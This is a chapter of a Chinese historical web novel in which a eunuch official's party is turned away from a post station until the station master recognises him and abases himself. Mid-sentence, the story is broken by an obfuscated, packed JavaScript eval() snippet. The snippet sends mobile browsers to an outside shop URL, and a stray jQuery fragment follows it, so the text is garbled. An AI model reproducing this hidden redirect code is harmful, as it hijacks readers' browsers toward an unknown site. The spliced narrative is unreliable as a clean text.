周行亭确实有要事去做,宫里得了消息,九千岁徐纾言大难不死,逢凶化吉,现已归京。陛下听后龙颜大悦,忙派了羽林卫去将徐纾言接回来。
因此周行亭才急匆匆的在官道上驰骋。
乔昭听他讲话不由扑哧一笑,问道:“阁下的公务所谓何事?或许在下略知一二。”
周行亭有些莫名其妙的瞥了一眼乔昭,冷哼一声:“我的公务又是你这样的乡野村姑配知道的,赶快给我让开。”
周行亭有点不耐烦了,说实话他有些心急,迫不及待的想要见到徐纾言是否平安无虞。
乔昭打趣道:“好吧,那就不打扰阁下,你先走吧。”
别人上赶着要离开,也怪不了她。如果跑远了也没接到人,也跟她没有关系吧。
她很贴心的驾马往一边走去,给周行亭给出足够的距离。周行亭看她如此识相,扬起个脸,勉为其难的原谅了刚才乔昭的大不敬行为。
随后他在驾马离开之前,周行亭侧过脸睥睨着乔昭,语气还是那样高高向上:
“我看你功夫倒是挺不错的,若是埋没了倒也可惜。”他大发善心的说道,“到了中京来找我,给你随手谋个差事。”
乔昭笑语晏晏,回答道:“好,多谢中郎将。”
随后一众羽林卫便驾着骏马,飞驰离开,又扬起阵阵尘土。徐霁徐淮忙捂住口鼻,不被尘土呛到。
徐淮望着远处离去的背影,略带酸涩不爽:“羽林卫一群绣花枕头,都是一些没用的二世祖,偏偏吃的用的全是最好的。”
“还不是有个好爹,狂什么狂。”
徐淮嘟囔道,他之前在宫里就跟羽林卫的人有过一些龌龊,他们这些世家子,向来是看不起宫里的宦官的,当然徐淮也看不起这些草包。很多次两方争锋相对。
但是这个羽林卫首领倒是没有见过,应该是新上任的,看着跟个愣头青似的,被耍得一愣一愣的。
乔昭一行人继续赶路,过了今夜,明日午时便能抵达中京。这一路已经繁华了很多,至少不用再像以往一样风采露宿。天黑之前,乔昭他们赶到了一处驿站。
这里是距离中京最近的驿站,许多外地回京述职的官员都会选择在这个驿站休整一晚,明日再以最饱满的姿态面见圣上。
在北齐驿站只能有官职在身的人员才能住,且北齐的驿站更加趋于军事化,每个驿站会有专门管理的官员,称作驿长。驿站的其他人员则是兵部派下来的兵卒,负责保护入住官员的人身安全。
因此这个驿站十分豪华,最外面是高大华丽的门楼,这个驿站高有三层,每层的窗户上都挂着红色的灯笼,夜幕降临时,驿长便会吩咐兵卒将灯笼一盏一盏点亮。
因此哪怕是在黑夜,这里也是灯红酒绿,十分亮堂。
乔昭一行人停在了门口,站在门外守卫的兵卒忙疾步走过来。
他踏步上前,站在乔昭的骏马面前,正色问道:“大人可有通关文牒?”
北齐的驿站每次入住都是需要通关文牒,若无文牒则不能进入。
乔昭面露难色,她当然没有什么文牒,在坠下悬崖的时候早就被激流冲走了。
那兵卒看见乔昭一时掏不出来通关文牒,脸色也严肃了许多,冷硬道:“若无文牒,不能入住。”
北齐的通关文牒会在上面写道执照人的名字,官职,上面会盖有放行时的官印,会显示持有文牒之人所经过的主要地方。
通关文牒在一定程度上是身份和权利的象征,同时能够杜绝他人假冒入住,这对于远行的官员来说就是一份通行证。
现下乔昭他们没有通关文牒,作为守门兵卒定然不会放他们进去。乔昭也知道这东西的重要性,她是从小兵做起来的,当然知道驿站兵卒只是奉命行事,乔昭也不想为难他。
“去叫你们驿长出来。我们也是事出有因,跟他细说。”乔昭只能折中想个个法子。
“现下我们驿长不在,尔等还是速速离开,若不离开只能进行驱逐。”驿站兵卒硬邦邦的,完全不通情理。
徐淮的怒火蹭的就起来了,扯着鞭子:“狗眼长到天上了,连九千岁都不认识?还不赶快滚开!”
那兵卒看徐淮口出狂言。立马拔刀相向,四周的驿站兵卒都围了过来,害怕乔昭硬闯,戒备的看着他们一群人。
徐纾言坐在里面,当人能听到外面发生了什么。他轻轻掀开帘子,抬眼望着车外,道:“你们驿长姓甚名谁,归兵部的谁管?”
他语调不大,甚至听起来有几分阴柔,目光凉悠悠看过来,就是让人觉得汗毛竖起,忍不住想要退避三舍。
那驿站兵卒没回答,只哽着脖子说:“我没有义务告诉你驿长的名字。”随后也忍不住软了声音,“上面的规定,没有通关文牒就是进不去,我们也是按规定办事。不是有意为难大人。”
“谁人在此闹事?!”远处传来一个雄浑的声音,一听就不是好相与的。
那些兵卒听见这声音,忙松了口气,上头有人来顶着,用不着自己上,徐纾言这气势,若真是个大官,自己吃不了兜着走。但是他又确实只能按规矩行事。
那驿长看着人高马大的,兵部派下来的驿长,往往都是从战场上退下来的将领,年纪大了不再适合参军,于是得了驿长这样的差事,较为清闲。
驿长驾马过来,身子笔挺,身材高壮,满脸的络腮胡,眉眼凌厉,气势骇人。
他缓缓停在乔昭一行人面前,皱着眉头:“就是你们闹事?”
乔昭还没来得及回答,那位兵卒忙抢答道:“驿长大人,他们几人没有通关文牒。”
驿长眉头拧得更深,神情不悦:“按照北齐律法,官员没有通关文牒不能入住,几位现下离开这里。”
大晚上的驿长不想将事情闹大,天子脚下打打闹闹算什么回事。
“我们是从肃州回来的,通关文牒在路上遗落了,不知驿长可否通融一下。”乔昭仍然好言回答道。
“通融不了!我不管你们是从哪里回来的!就算是从西戎从南蛮回来的,没有通关文牒就是不能入住。”
气氛一时十分凝滞,目前中京已经宵禁,城门早就关了,这周边也没有别的客栈,他们不住驿站,只能住在郊外。
......
“你是兵部侍郎陈道坤门下的人?”徐纾言将帘子掀开,眉眼飞挑,睨着驿长,苍白的脸庞在夜色中显得跟山里的精怪似的。
驿长听道徐纾言的话,一惊。他早年间是陈道坤手里的兵,陈道坤当上了兵部侍郎,半年后便将他提倒了驿站当差。
这个驿站离中京最近,拨的款最多,是一个大肥差。他能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962628|136807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
坐上这个位置还是靠着陈道坤提携,当然这驿站多出来的,上不了账本的明细,绝大多数都献给了陈道坤。
那驿长连忙向徐纾言望过去,只一眼便吓得魂飞魄散,急忙翻身下马向徐纾言的车前靠近。
徐霁徐淮连忙戒备,一人执剑,一人那鞭,生人勿进的样子。
那驿长意识到有些冒昧,讪讪后退,又仰着个笑脸,望向徐纾言:“原来是九千岁大驾光临,是属下不长眼睛,竟然没认出九千岁。”
他又狠狠拍了拍自己脸,看着一副可怜样:“属下该死,竟如此疏忽。”
那些兵卒看见驿长,竟然如此惶恐,兵卒们吓得稀稀拉拉的跪了一地。
徐纾言或许对驿长没印象,但是驿长却是在几年前见过徐纾言的。
那个时候他和自己的上司,也就是现在的兵部侍郎陈道坤,去给徐纾言府里送礼。
陈道坤从战场下来,多年没有晋升,他背景不够强硬,在军队里是靠自己一拳一肉拼下来的。他颇有能力,但也只能走到卫尉卿的位置。
再往上难如登天。
可往日和他一起在战场上的同僚,那些贪生怕死之人,只是仗着家里有关系,回京以后就一路飞升。
陈道坤心里不满,郁郁寡欢,以他之才能,绝非今日之位置。
他想到了九千岁徐纾言。
驿长是陈道坤的心腹,于是被派来搬运那株奇特又绚丽的珊瑚,听说是从北海运来的,这样大又精致的珊瑚摆件,世间少有。
可驿长仍然记得,哪怕是这样精妙绝伦的东西也是入不了九千岁的眼。
他估摸着刚从宫里回来,听见下人的禀报,只微微掀开帘子,露出一张冰肌玉骨的脸,峨眉淡拂春山。他有些憔悴,满脸都是不耐之色,瞥了一眼陈道坤的脸,又看向凑到面前的珊瑚。
不耐烦的说了句:“什么东西,不要脏了咱家的眼。”
随后直接将帘子放了下来,轿子直接从他们面前讲经过,进了徐纾言的府邸。
驿长还记得当时陈道坤的面容,瞬间脸色阴沉下来,但是又要赔着笑。只能隔着帘子亦步亦趋,低声道歉。
“是下官想得不够周到,这就撤下去,以免污了九千岁的眼,望九千岁恕罪。”
这么好的东西,哪怕世间罕有,对于高堂之上的九千岁而言也只是俗物。这给驿长留下了很深刻的印象。
所以在今夜突然看到记忆里那淡然清冷的眉眼,驿长一下子就认出了人。
这位可是怠慢不得的大人物,一句话就能要了他的命。
于是他立即翻身下马,疾步到徐纾言的马车前,一脸讪笑。
徐纾言没发话,他也不敢停,就这样扇着自己的耳光。耳光打在脸上的声音在黑夜中尤为清晰,驿长也是下了力气的,一点不含糊。
那些驿站兵卒听见这个声响更加不敢将头抬起来,跪着的腰尽可能的低,恨不得低到泥里。
徐纾言看到此幕,叹息一声,指尖轻轻揉了揉额头,似乎已经忍受到了极限。
徐霁已经看出了徐纾言神色中透露出的疲惫和不耐烦,忙道:“还跪着干什么!一群蠢货!立刻去给掌印准备一间上房。”
“是!属下这就去办!”
驿长这才恍然清醒,连忙去给徐纾言一行人准备屋子。